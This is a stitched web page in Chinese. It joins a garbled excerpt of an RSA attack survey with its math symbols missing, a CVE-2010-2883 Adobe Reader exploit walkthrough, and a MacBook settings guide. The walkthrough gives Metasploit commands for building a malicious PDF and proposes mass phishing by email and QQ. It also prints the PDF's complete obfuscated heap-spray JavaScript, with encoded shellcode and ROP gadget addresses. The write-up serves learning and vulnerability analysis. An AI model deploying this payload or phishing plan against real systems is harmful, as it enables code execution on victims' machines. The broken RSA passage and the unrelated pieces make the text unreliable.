由于Marvin知道了的最小有效位，他知道的值，因此，他得到了一个关于和的方程。对于的每一个的可能值，Marvin求解的二次方程，并能得到了的一些候选值。对于这些候选值，他运用定理10尝试去分解。可以证明的候选值的总数最多为，因此，在最多次尝试之后，将被分解。
定理9被称为部分密钥泄露攻击，对于更大的值，只要，也存在类似的攻击，不过，要实现此种攻击的技术有点复杂。有趣的是，基于离散日志的密码系统，如ELGamal公钥系统，似乎不容易受到部分密钥泄漏攻击的影响。事实上，如果给出和的常数部分，则没有已知的多项式时间算法来计算的其余部分。
为了总结这一节，我们将证明当加密指数很小时，RSA系统会泄漏相应私钥一半的最高有效位。要了解这一点，再考虑一个方程，其中是的整数。给定，Marvin可以很容易地计算出：
之后：
因此，是的很好的近似值。该界表明，对于大多数，中一半的最高有效位与相同。由于只有个可能的值，因此Marvin可以构造一个大小的小集合，使得集合中的一个元素等于的一半最高有效位的。的情况特别有趣，在这种情况下，可以知道，系统完全泄漏了的一半最高有效位。
### 5 执行攻击
我们将注意力转向另一类完全不同的攻击。这些攻击不是攻击RSA函数的底层结构，而是专注于RSA的实现。
#### 5.1 时序攻击
想一下存储RSA私钥的智能卡，由于卡是防篡改的，攻击者Marvin可能无法审阅其内容并使其泄露出密钥。然而，Kocher的一个巧妙攻击表明，通过精确测量智能卡执行RSA解密（或签名）所需的时间，可以快速发现私有解密指数。
我们将解释如何使用"重复平方算法"对一个简单的RSA实现进行攻击。设是的二进制表示（即）。基于的观察基础，我们可以知道用重复平方算法来计算最多使用次模乘，算法是如下工作的：
令等于，等于1，对于，执行以下步骤：
（1）如果，令等于，
（2）令等于。
最后，有值为。
当时，变量遍历值的集合，变量在集合中"收集"适当幂以获得。
为了发起攻击，Marvin要求智能卡在大量随机消息上生成签名，并测量每个签名生成所需的时间。
攻击从最低有效位开始一次一个地算出的比特位。我们知道是奇数，因此。考虑第二次迭代。最初且。如果，则智能卡会计算乘积，否则，它是不会计算的。设是智能卡计算所花费的时间。由于计算的时间取决于的值，因此彼此不同（简单模约化算法需要不同的时间，取决于所减少的值）。一旦Marvin获得智能卡的物理规格，之后他便会测量得到（在发起攻击之前）。
Kocher观察到当时，两个集合和是相关的。例如，如果，对于某些，比预期的要大得多，那么也可能大于预期。另一方面，如果，则两个集合和表现为独立的随机变量。通过测量相关性，Marvin可以确定是0还是1。继续使用这个方法，他可以很快得到，。注意，当使用低公钥指数时，上一节的部分密钥泄露攻击表明，使用Kocher的时序攻击，只需要知道的四分之一的位就行。
有两种方法可以抵御攻击。最简单的是添加适当的延迟，以使模幂运算总是要花费一定的时间。第二种方法是由Rivest提出的基于盲化的方法。在解密M之前，智能卡选择一个随机的并计算，然后将应用于上并获得，最后，令。通过这种方法，将应用于Marvin不知道的随机消息上，这样的话，Marvin就不能发起攻击了。
Kocher最近在这些线路上发现了另一种叫做功率密码分析的攻击。
Kocher表明，通过在签名生成过程中精确测量智能卡的功耗，Marvin通常可以轻松发现密钥。事实证明，在多精度乘法期间，卡的功耗高于正常值。通过测量高消耗周期的长度，Marvin可以很容易地确定在给定的迭代中卡是执行一次还是两次乘法，从而暴露出的比特位。
Kocher最近发现了另一种类似的攻击，称为能量分析攻击。Kocher指出通过精确测量智能卡在签名生成过程中的功耗，Marvin通常可以很容易地得到秘密密钥。结果表明，在多精度乘法过程中卡的功耗会高于正常值，通过测量高消耗周期的长度，Marvin可以很容易地确定在给定的迭代中卡是否执行一次或两次乘法，从而得到的比特位。
#### 5.2 随机故障
RSA的解密和签名的实现经常使用中国剩余定理来加速的计算，签名者Bob为了替换模的工作，先计算签名模和的结果，然后利用中国剩余定理将结果结合起来。更准确地说，Bob首先计算：
其中和。然后，他得到签名通过令：
其中：
与和两个指数相比，CRT最后一步的运行时间可以忽略不计。注意和是的一半长，然后由于乘法的简单实现需要平方时间，所以模的乘法速度是模的4倍，而且，是的一半长，计算的速度是计算的8倍，因此，整个签名时间减少了四倍，许多实现都使用这种方法来提高性能。
Boneh，DeMillo和Lipton观察到使用CRT方法有内在的危险。假设在生成签名时，Bob的计算机上的一个小故障导致它在一条指令中错误计算。例如，在将寄存器中的值从一个位置复制到另一个位置时，其中一个比特位被翻转了。(故障可能是由环境电磁干扰引起的，也可能是由于罕见的硬件缺陷造成的，比如早期版本的奔腾芯片。)
Marvin得到了无效的签名给定之后可以很容易地对Bob的模数进行分解。
正如A. K.
Lenstra所说，我们发现了一个新的攻击。假设在Bob生成签名时发生单个错误，那么，或中将有一个被错误地计算。如果说是正确的，那么就会不正确，得到的签名为。一旦Marvin获取到了，通过计算，他就知道这是一个错误的签名。然而注意到：
因此，便是的一个非平凡因子。
要使攻击奏效，Marvin必须对有充分的了解。也就是说，我们假设Bob不使用任何随机填充方法，签名前的随机填充可以防御此种攻击，对于Bob来说，一个更简单的防御方法是在将生成的签名发送给全世界之前检查生成的签名。当使用CRT加速方法时，检查是特别重要的。随机故障攻击对许多密码系统都是有害的，许多系统，包括RSA的非CRT实现，都可以使用随机故障进行攻击。不过，这些结论更多的是理论性的。
#### 5.3 Bleichenbacher对PKCS 1的攻击
设是位RSA模，是位消息，其中。在应用RSA加密之前，一般会通过向其添加随机位，将消息填充到位。公钥加密标准1（Public Key
Cryptography Standard 1, PKCS 1）的旧版标准就是使用的这种方法。填充后，消息如下所示：
* * *
02 随机位 00 M
* * *
生成的消息长度为位，并直接使用RSA加密。包含"02"的初始块长度为16位，从上图可看出已在消息中添加了随机填充。
当运行在Bob的机器上应用程序(例如，Web浏览器)接收到消息时，会对其进行解密，检查初始块，并去掉随机填充。但是，一些应用程序会检查"02"初始块，如果不存在，就会返回一条错误消息，说明"无效的密文"。Bleichenbacher表示这个错误消息可能导致灾难性的后果：攻击者Marvin可以使用错误消息解密他所选择的密文。
假设Marvin截获了一个针对Bob的密文，并希望对其进行解密。为了发动攻击，Marvin随机挑选了一个，计算，并将发送到Bob的机器。运行在Bob的机器上的应用程序接收并尝试解密它。它要么用错误消息进行响应，要么根本不响应(如果的格式正确的话)。因此，Marvin知道解密过程中16位最高有效位是否等于02。实际上，Marvin有这样的谕言，对于他选择的任何，他都可以测试解密的16位最高有效位是否等于02。Bleichenbacher证明了这样的谕言足以解密。
### 6 结论
对RSA系统进行了20年的研究以来，产生了一些有见地的攻击，但还没有发现破坏性的攻击。到目前为止发现的攻击主要说明了在实现RSA时需要避免的陷阱，目前看来，可以信任正确的RSA密码系统实施来提供数字世界中的安全性。我们将针对RSA的攻击分为四类：(1)利用系统公然误用的基本攻击；(2)低私钥指数攻击，此种攻击非常严重，绝不能使用低私钥指数；(3)低公钥指数攻击；(4)对RSA系统执行时的攻击。这些持续不断的攻击说明，我们对基本数学结构的研究还是不够的。另外，Desmedt和Odlyzko、Joye和Quisquater以及DeJonge和Chaum还提出了一些额外的攻击。在整篇论文中，我们观察到通过在加密或签名之前正确填充消息可以防御许多攻击。
**致谢**
我要感谢Susan Landau鼓励我撰写调查问卷，感谢Tony Knapp帮忙编辑手稿。我还要感谢在早些时候Mihir Bellare、Igor
Shparlinski和R. Venkatesan对草案发表的评论。
* * * | 社区文章 |
# 初学CVE-2010-2883漏洞调试及复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 关于CVE-2010-2883
官方报告：<https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-2883>
> Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x
> before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote
> attackers to execute arbitrary code or cause a denial of service
> (application crash) via a PDF document with a long field in a Smart
> INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild
> in September 2010. NOTE: some of these details are obtained from third party
> information.[[1]](https://cve.mitre.org/cgi-> bin/cvename.cgi?name=CVE-2010-2883)
大致翻译：在 **Adobe Reader** 和 **Acrobat**
9.4之前的9.x版本中用于实现CoolType(清晰显示文本的字体还原技术)技术的库CoolType.dll中在解析TrueType字体文件中的
**SING** 表的 **uniqueName** 字段时调用的 **strcat** 函数 **未检查长度**
导致存在基于栈的缓冲区溢出漏洞。远程攻击者可构造恶意的SmartINdependent Glyphlets
(SING)表修改内存数据从而执行任意代码。[[2]](https://www.anquanke.com/post/id/179681)
## 攻击方视角
思路：生成一份恶意文件，但是我不知道对方是不是被攻击的版本所以采用大规模的钓鱼攻击。
* MSF生成恶意文档（无特殊功能）
* 搜索相关CVE一份是基于浏览器的，一份基于软件的，这里选择基于软件的
注：原版被围了绕过一些识别，所以使用了随机字符（虽然没什么用），这里仅作示例，在
`/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb`的第102行处，可以改为`sing
<< "A" * (0x254 - sing.length)`
* 在MSF中设置payload
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set CMD calc.exe
就是简简单单弹出计算器
* 大规模群发邮件、QQ消息，等待受害者上钩（谁还用这个软件啊）当受害者访问后就会下载该文件
* 受害者访问时
* 1.IE调用程序读取
* 2.下载到本地进行读取只要Adobe Reader的受影响版本读取文件，就会弹出计算器
## 一些相关知识
### PDF文件格式
* **一这次的恶意文件来说，PDF文件结构主要可以分为四个部分：[[3]](https://baike.baidu.com/item/pdf/317608?)**
* **1.首部**`25 50 44 46 2D 31 2E 35`这样的8字节十六进制代码，解析过后是`%PDF-1.5`，表明这份pdf文件是1.5版本的
* **2.文件体** 里面由若干个的obj对象来组成
例如用红色框出的就是一个文件体，而且还有很多的文件提没有被框出，整理后的格式如下
1 0 obj
<<
/Pages 2 0 R
/#54#79p#65
/C#61t#61#6c#6f#67
/#4fpe#6e#41#63t#69#6fn 11 0 R
/#41#63#72#6fFo#72m 13 0 R
>>
endobj
**注** ：含’#’的是没有被解析的字串,应该是ASCII编码，解码后如下
1 0 obj
<<
/Pages 2 0 R
/type
/Catalog
/OnAction 11 0 R
/AcroForm 13 0 R
>>
endobj
* 第一个数字称为对象号，来唯一标识一个对象的
* 二个是产生号，是用来表明它在被创建后的第几次修改，所有新创建的PDF文件的产生号应该都是0，即第一次被创建以后没有被修改过
* 对象的内容应该是包含在<< 和>>之间的，最后以关键字endobj结束
* **3.交叉引用表** 用来索引各个obj 对象在文档中的位置，以实现随机访问，在那份文档中如下
xref
0 15
0000000000 65535 f
0000000015 00000 n
0000000139 00000 n
0000000262 00000 n
0000000292 00000 n
0000000330 00000 n
0000000467 00000 n
0000000501 00000 n
0000000729 00000 n
0000000849 00000 n
0000001014 00000 n
0000040804 00000 n
0000040877 00000 n
0000044477 00000 n
0000044512 00000 n
很明显，`xref`标志这部分是交叉引用表的开始，第一行数字 `0 15`说明对象号是从 **0** 开始，有 **15** 个对象
> > `0000000000 65535 f`，一般每个PDF文件都是以这一行开始交叉应用表的，说明对象 **0**
> 的起始地址为0000000000，产生号（generation number）为 **65535**
> ，也是最大产生号，不可以再进行更改，而且最后对象的表示是 **f** , 表明该对象为 **free** , 这里，大家可以看到，其实这个对象可以看作是
> **文件头** 。
>>
>> `0000000015 00000 n`表示对象是 **1** ，其偏移为 **0000000015** ， **00000**
表示该对象未被修改过，其最大值是$2^5$=65535， **n** 表示该对象正在使用
* **4.尾部**
trailer
<<
/Size 15
/Root 1 0 R
>>
startxref
44943
%%EOF
* Size 15：说明文件对象数量为15（和上面的对象署一致）
* Root 1 0 R：根对象号为1
* 44943：表示交叉引用表的偏移地址，从而从文档中找到所有对象的相对地址，进而访问对象
* 这次文件的payload所在地：使用 **PDFStreamDumper** 打开文件，第一个文件体
<<
/Pages 2 0 R
/Type /Catalog
/OpenAction 11 0 R
/AcroForm 13 0 R
>>
试用了`/OpenAction 11 0 R`，打开第11个文件体
<<
/Type/Action/S/JavaScript/JS 12 0 R
>>
发先调用了JavaScript的脚本，而且脚本在第12个文件体中
var VJvRZHcFpjfNEpkTtnYAuxxDnlJnxpugNnYjtZbeoutMEBGfJGMSwXcJQNoxFbuCEXBnLOePlaWTfwDSAywBDbWXmgXXlgtJ = unescape;
var hIT = VJvRZHcFpjfNEpkTtnYAuxxDnlJnxpugNnYjtZbeoutMEBGfJGMSwXcJQNoxFbuCEXBnLOePlaWTfwDSAywBDbWXmgXXlgtJ( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uccdb%u74d9%uf424%u74ba%u5cde%u5eed%uc92b%u31b1%uc683%u3104%u1456%u5603%u3c60%u11a9%u4260%uea52%u2370%u0fda%u6341%u44b8%u53f1%u09ca%u18fd%ub99e%u6c76%ucd37%udb3f%ue061%u70c0%u6351%u8b42%u4386%u447b%u82db%ub9bc%ud616%ub515%uc785%u8312%u6315%u0568%u901e%u2438%u070f%u7f33%ua98f%u0b90%ub186%u36f5%u4950%ucdcd%u9b63%u2d1c%ue2cf%udc91%u2211%u3f15%u5a64%uc266%u997f%u1815%u3af5%uebbd%ue6ad%u3f3c%u6c2b%uf432%u2a3f%u0b56%u4093%u8062%u8712%ud2e3%u0330%u81a8%u1259%u6714%u4465%ud8f7%u0ec3%u0c15%u4d7e%ud373%ueb0c%ud331%uf40e%ubc65%u7f3f%ubbea%uaabf%u334f%uf78a%udcf9%u6253%u80b8%u5863%ubcfe%u69e7%u3b7e%u1bf7%u077b%uf0bf%u18f1%uf72a%u19a6%u947f%u8a29%u75e3%u2acc%u8981' );
var lQAMgbHqymZT = VJvRZHcFpjfNEpkTtnYAuxxDnlJnxpugNnYjtZbeoutMEBGfJGMSwXcJQNoxFbuCEXBnLOePlaWTfwDSAywBDbWXmgXXlgtJ( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (lQAMgbHqymZT.length + 20 + 8 < 65536) lQAMgbHqymZT+=lQAMgbHqymZT;
OYBPCrfcAsMzkuAahWltVvxPTBqKupVrHmdBJkocCYiqZZUVgrYujDISrzqMHyrMXEELtKdFqSBhF = lQAMgbHqymZT.substring(0, (0x0c0c-0x24)/2);
OYBPCrfcAsMzkuAahWltVvxPTBqKupVrHmdBJkocCYiqZZUVgrYujDISrzqMHyrMXEELtKdFqSBhF += hIT;
OYBPCrfcAsMzkuAahWltVvxPTBqKupVrHmdBJkocCYiqZZUVgrYujDISrzqMHyrMXEELtKdFqSBhF += lQAMgbHqymZT;
hkqDYNddrhgfYneKwOKKAtTK = OYBPCrfcAsMzkuAahWltVvxPTBqKupVrHmdBJkocCYiqZZUVgrYujDISrzqMHyrMXEELtKdFqSBhF.substring(0, 65536/2);
while(hkqDYNddrhgfYneKwOKKAtTK.length < 0x80000) hkqDYNddrhgfYneKwOKKAtTK += hkqDYNddrhgfYneKwOKKAtTK;
EnyeNUmsJFWynLNEqKXUcMEyKixUbsboPbAyQQfGWiGTmbdAcFAIoMeyaG = hkqDYNddrhgfYneKwOKKAtTK.substring(0, 0x80000 - (0x1020-0x08) / 2);
var TPYdhHdgEGLwQmGWDRjLXfETghrqZabJpYRUFtbTCohEHyZgrWxhRqBlNhMhewhkO = new Array();
for (SlTjOpIjUpuKTLtaeeOZUkPyDkglHMfKDRxPDBWsXWwNyMHi=0;SlTjOpIjUpuKTLtaeeOZUkPyDkglHMfKDRxPDBWsXWwNyMHi<0x1f0;SlTjOpIjUpuKTLtaeeOZUkPyDkglHMfKDRxPDBWsXWwNyMHi++) TPYdhHdgEGLwQmGWDRjLXfETghrqZabJpYRUFtbTCohEHyZgrWxhRqBlNhMhewhkO[SlTjOpIjUpuKTLtaeeOZUkPyDkglHMfKDRxPDBWsXWwNyMHi]=EnyeNUmsJFWynLNEqKXUcMEyKixUbsboPbAyQQfGWiGTmbdAcFAIoMeyaG+"s";
这里使用了JS混淆所以看起来很混乱（尽管msf认为这样能绕过部分杀软）
>
> 所有的ShellCode都被转化为了十六进制的转义序列，经过unescape解码之后存储在var_shellcode之中，var_c变量存储了%u0c0c%u0c0c，接下来用了一个while循环叠加var_c，用来覆盖内存的数据。
>
> 采用0x0c0c0c0c作为滑板指令的原因是因为它对应的指令是`or
> al,0x0C`，这样的指令执行的效果对al寄存器不会产生任何影响[[4]](https://blog.csdn.net/qq_38474570/article/details/91346316)
至于为什么用JS，在后面会讲到
在第10个文件体中，我们可以找到payload
### DLL文件
相当于一个游戏的mod，全称： **Dynamic Link Library**
，包含可由多个程序，同时使用的代码和数据的库，多用于windows；对应在Linux上是libxx.so.x。
### 字体文件
我们要加入一种字体（如“微软雅黑”），就肯定有一份表，表上有所有的字体（或合成规则），而且这种字体文件一般以 **.TFF** 为后缀
就是文档的字体，比如对于英文来讲，26个字母每一个都有一种样式。这里面受影响的是TTF中 **SING字体表** 的 **uniqueName字体**
TTF(TrueTypeFont)是Apple公司和Microsoft公司共同推出的字体文件格式,随着windows的流行，已经变成最常用的一种字体文件表示方式。
在后续分析中会用到，那个在时候再说具体的引用
### `strcat`函数
把src所指向的字符串（包括“\0”）复制到dest所指向的字符串后面（删除 _dest原来末尾的“\0”）。要保证_ dest足够长，以容纳被复制进来的
_src。_ src中原有的字符不变。返回指向dest的指针。
**这里就是strcat的返回字串的大小没有设置正确，导致了栈溢出**
## ROP(Return Oriented Programming)
算是二进制研究的一个基本功了吧
> 随着 NX 保护的开启（在windows上是 **DEP**
> ），以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护，目前主要的是 ROP(Return Oriented
> Programming)，其主要思想是在 **栈缓冲区溢出的基础上，利用程序中已有的小片段( gadgets
> )来改变某些寄存器或者变量的值，从而控制程序的执行流程。** 所谓gadgets 就是以 ret
> 结尾的指令序列，通过这些指令序列，我们可以修改某些地址的内容，方便控制程序的执行流程 ——《CTFwiki》
## Heap Spray（堆喷）
### 堆喷的概念
> Heap Spray是在shellcode的前面加上大量的slide
> code（滑板指令），组成一个注入代码段。然后向系统申请大量内存，并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流，使得程序执行到堆上，最终将导致shellcode的执行[[5]](https://blog.csdn.net/magictong/article/details/7391397)
Heap
Spray只是一种辅助技术，需要结合其他的栈溢出或堆溢出等等各种溢出技术才能发挥作用。这种技术在CTF中不太常见，但在平时的二进制漏洞挖掘中十分常见。
### Heap Spray原理
由上面的概念我们可以想象到，堆栈的分布[[6]](https://www.anquanke.com/post/id/85586)
我们可以在堆上分配一系列内存块(包含shellcode)， 然后利用漏洞实现4字节改写EIP，就可以跳去执行堆上的代码。
Javascript可以直接在堆上分配字符串，通过巧妙的布置堆我们可以exploit。 **这也是我们在这里使用JS来放置shellcode的一个原因**
。
当申请大量的内存到时候，堆很有可能覆盖到的地址是0x0A0A0A0A（160M），0x0C0C0C0C（192M），0x0D0D0D0D（208M）等等几个地址，可以参考下面的简图说明[[5]](https://blog.csdn.net/magictong/article/details/7391397)
常规布局
堆喷后的布局
堆喷射是比较简单的一种利用方式；不同以往将 **shellcode** 存放在栈中，堆喷射将 **shellcode** 放在堆中，通过多种溢出方式组合使
**eip** 执行到0x0c0c0c0c之类（以确保运行时包含shellcode）的堆空间，好处是我们不用覆盖 **eip** 寄存器
> `Heap Spray`是在`shellcode`的前面加上大量的`slide
> code`(滑板指令)，组成一个注入代码段。然后向系统申请大量内存，并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流，使得程序执行到堆上，最终将导致`shellcode`的执行。
>
> 传统`slide
> code`(滑板指令)一般是`NOP`指令，但是随着一些新的攻击技术的出现，逐渐开始使用更多的类`NOP`指令，譬如`0x0C`(`0x0C0C`代表的`x86`指令是`OR
> AL
> 0x0C`），`0x0D`等等，不管是`NOP`还是`0C`，它们的共同特点就是不会影响`shellcode`的执行。[[8]](https://www.anquanke.com/post/id/204319)
其实就是塞入一大段恶意代码(由nop（或者其他无意义代码）和shellcode合成)，而且重复的塞进栈里面，进行蛮力操作，最后迫使程序在不覆盖EIP时执行shellcode。
## 静态分析
因为我们这里不是漏洞挖掘者的角度，所以我们知道漏洞带你在哪里。当然，漏洞挖掘所涉及的只是太多、太杂、太难。就不在这里赘述了。
已知我们的函数报错在 **CoolType.dll**
，其中使用`strcat`函数时未对`uniqueName`字段的字符串长度进行检测，直接复制到固定大小的栈空间，最终导致栈溢出。
这里为快速定位漏洞点，有网上的资料可以得到（这个自己查看官方文档也行）
>
> 文件偏移0x11C为SING表数据结构所处位置。SING表偏移0x10处为uniqueName域，uniqueName域大小为28字节。strcat会把从“58
> E0 8D AD”（在test.pdf处是“4A E0 CE
> 68”，都是文件偏移0x0000012C处）开始的数据复制到指定位置，直到遇见NULL。此处的TTF文件已经是包含了触发栈溢出的数据[[7]](https://blog.csdn.net/wangtiankuo/article/details/82994280)
* **1.** 在ida中使用字符串定位法(shift+f12)找到字符串`SING`，再使用’x’查看引用
* **2.** 逐个排查函数再`sub_803DBF2`找到危险函数`strcat`，并将函数重命名为`vuln`
* **3.** 对该函数具体分析再IDA中，选中函数后’f5’可以获得伪源代码以便于我们理解
int v18; // [sp+40h] [bp-24h][@4](https://github.com/4 "@4")
..........
char v24; // [sp+64h] [bp+0h][@7](https://github.com/7 "@7")
..........
if ( v18 )
{
if ( !(*(_DWORD *)v18 & 0xFFFF) || (*(_DWORD *)v18 & 0xFFFF) == 0x100 )
{
v24 = 0;
strcat(&v24, (const char *)(v18 + 0x10));
sub_8001243(&v24);
v6 = v18;
}
v22 = 1;
}
..........
其中， **v18 + 0x10** 是 **uniqueName** 相对于 **SING** 的偏移量
## 动态分析
有了之前的静态分析，我们可以看快速的找到断点
**0x803DCA4** 调用了`strcat`，所以在这里下个断点。
* 我用的是 **x32dbg** ，可以直接下输入模块名称，然后在模块的入口断点
断点->添加DLL断点(右键召唤)->CoolType.dll
点进去就可以直接DLL找到了
* 这里可以同步静态分析（老动静结合了），从IDA中可以看出这个地址是DllEntryPoint，所以可以在 **0x803DCA4** 下断点了（因为没有偏移）
* 通过在x32dbg中找到`SING`的引用并设置断点，运行到断点处（这里我过滤勾选了正则，这样找到的个数要少一些）
因为第二个恰好在我们漏洞函数`strcat`之前的最近，对它的影响也是最大的
先经过这几个步骤过后， **EAX** 的寄存器变成了 **04889F4C**
，那么我们在下面的内存1跳转到04889F4C看看，发现文件被全部加载进了内存。
涉及到的汇编
0803DC6D | 68 4CDB1908 | push cooltype.819DB4C | 819DB4C:"SING"
0803DC72 | 57 | push edi |
0803DC73 | 8D4D DC | lea ecx,dword ptr ss:[ebp-24] | [ebp-24]:&L"=::=::\\"
0803DC76 | E8 433EFEFF | call cooltype.8021ABE |
0803DC7B | 8B45 DC | mov eax,dword ptr ss:[ebp-24] | [ebp-24]:&L"=::=::\\"
0803DC7E | 3BC6 | cmp eax,esi | eax:&L"=::=::\\"
>
> 以上的指令主要就是将SING表的tag名传入到08021B06函数中通过表目录来获取到SING表的入口地址，而目前eax的值0x046BE598即是SING表的入口地址。分析SING表的这些数据，我们就能知道样本到底做了些什么
从之前的分析知道，第10个文件体是payload，就是 **strcat** 的时候我们“输入”的是这串字符
其中`14 A7 82 4A 0C 0C 0C 0C`、`C6 08 8A 4A`这些地址就是我们在ret处插入的一些指令，来帮助我们实现跳转来绕过
**DEP** 保护，也就是前文提到的 **ROP)**技术。
执行后，具体在内存中如下
这时候我们已经通过`strcat`把函数写到栈上面了，就等着调用 **SING表** 的时候的攻击了
多次调试发现在 **0808B2FA** 执行后，程序结束，弹出计算器。
汇编代码是
0808B2FA | FF10 | call dword ptr ds:[eax]
在栈溢出前
在栈溢出后
我们再下个断点 **4A80CB38**
4A80CB38 | 81C5 94070000 | add ebp,794
4A80CB3E | C9 | leave
4A80CB3F | C3 | ret
寄存器是这样的
这里的指令相当于 **栈迁移** 的技巧，将程序流迁移到4A82A712
* 迁移过后call eax+0x5C的位置，就是call 0x0c0c0c0c
* 执行shellcode顺着刚才地的放继续调试下去就会发现：
> shellcode使用了CreateFile
> 、CreateFileMapping、MapOfViewMap创建了文件iso885，并把该文件映射到了内存中。使用memcpy函数将shellcode复制到了0x3FA0000处。
然后等待shellcode自身解密，解完后就能看到要执行的CMD命令： **calc.exe**
* 最后命令被成功时执行
## 参考文章
[[1]CVE-2010-2883](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2883)
[[2]细说CVE-2010-2883从原理分析到样本构造](https://www.anquanke.com/post/id/179681)
[[3]百度百科-pdf](https://baike.baidu.com/item/pdf/317608?fr=aladdin)
[[4]Adobe
Reader栈溢出漏洞(CVE-2010-2883)分析](https://blog.csdn.net/qq_38474570/article/details/91346316)
[[5]Heap Spray原理浅析](https://blog.csdn.net/magictong/article/details/7391397)
[[6]【技术分享】Windows
Exploit开发系列教程——堆喷射（一）](https://www.anquanke.com/post/id/85586)
[[7]CVE-2010-2883分析](https://blog.csdn.net/wangtiankuo/article/details/82994280)
[[8]Kernel Pwn 学习之路 – 番外](https://www.anquanke.com/post/id/204319) | 社区文章 |
## Author:隃墨
## 1\. 硬件提升
笔记本电脑的特点是携带方便，缺点是屏幕太小，因此你首先需要再申请领用一个外接显示器，多一个屏幕会大大减少你切换应用程序的次数，显著提升你的工作效率，别忘了同时申请一个Mini
DP转VGA的转接头用于连接显示器。为了配合多显示器，后面会推荐一个软件来管理多显示器窗口。
如果你资金宽裕，可以买个机械键盘和无线鼠标，进一步提升工作效率。
## 2\. 系统设置
### 2.1 将功能键(F1-F12)设置为标准的功能键
MacBook键盘最上面一排的功能键(F1-F12)默认是系统亮度和声音之类的快捷设置，当MacBook作为你的娱乐电脑时，这样的默认设置是非常方便的，但是对于将MacBook作为工作电脑而且需要频繁使用功能键(F1-F12)的人，最好将功能键(F1-F12)的行为设置为标准的功能键。
首先打开`System Preferences`，点击`Keyboard`图标，勾选上`Use all F1, F2, etc. keys as
standard function keys`。以后如果你要调节音量，就按住键盘左下角的`fn`键再按F11或者F12。
[
图2.1-1
### 2.2 设置Trackpad（触摸板）轻触为单击
当你首次使用MacBook，是否会觉得触摸板一点都不顺滑？那是因为你需要做如下设置。
打开`System Preferences`，点击`Trackpad`图标，勾选`Tap to
click`选项，现在手指轻轻一碰触摸板，就达到鼠标单击的顺滑效果。
### 2.3 将Dock停靠在屏幕左边
为什么要将`Dock`停靠在屏幕左边？MacBook的屏幕是一个长方形，如果你将`Dock`放在下面，那么屏幕的可用`宽度`就会减少，另外人眼阅读时的顺序是从左往右，因此`Dock`放在左边更适合将MacBook作为工作电脑的人。
打开`System Preferences`，点击`Dock`图标，
1. 将图标的`Size`调到合适大小
2. 关闭`Magnification`特效（即鼠标放到Dock上图标放大的效果，此效果干扰注意力）
3. 在`Position on screen`一栏，选择`Left`
4. 勾选`Minimize window into application icon`
[
图2.3-1
### 2.4 全键盘控制模式
全键盘控制模式是什么？ 举一个例子，如下图所示，我正在写一个文档，此文档还没有保存，也没有文件名，如果不不小心点了`关闭`按钮，将会弹出一个对话框：
[
图2.4-1
当前，`[Save]`按钮处于默认激活状态，按`回车`将会弹出保存对话框。但是如果我不想保存呢？ 只能通过鼠标或者触摸板来移动光标后点击`[Don't
Save]`来取消保存。那我能不能通过键盘控制光标激活`[Don't Save]`按钮呢？ 答案是肯定的，做一个简单设置就好。
如图，首先打开`System Preferences`，点击`Keyboard`图标，选择`Shortcuts`这个Tab, 选中`All
controls`
[
图2.4-2
现在当我再次试图关闭一个未保存的文件时，新弹出的对话框如下，有了些许变化，在`[Don't
Save]`按钮上多了一个蓝色的外框，当你按键盘上的`tab`键的时候，蓝色的外框会在3个按钮间切换。 假设现在蓝色的外框在`[Don't
Save]`按钮上，你按下`回车`，却发现系统依然进入了`保存`文件对话框，为什么蓝色的外框不起作用呢？那是因为蓝色的外框选中的按钮是由`空格键`触发的，当你按下`空格键`，系统就会不保存文件直接退出。
这样当你不方便使用鼠标和触摸板的时候，可以更快速的和你的MacBook交互。
[
图2.4-3
### 2.5 快速锁定屏幕
如果你长时间离开电脑，最好锁定你的屏幕，以`防止数据泄露`。 那如何快速的锁定你的MacBook呢？ 答案是只需要`一摸触摸板`或者`一甩鼠标`就可以了。
* 打开`System Preferences`，点击`Desktop & Screen Saver`图标，选择`Screen Saver`这个Tab，再点击`Hot Corners...`，在弹出的如下界面里面，右下角选择`Put Display to Sleep`，点击OK确定。[
图2.5-1
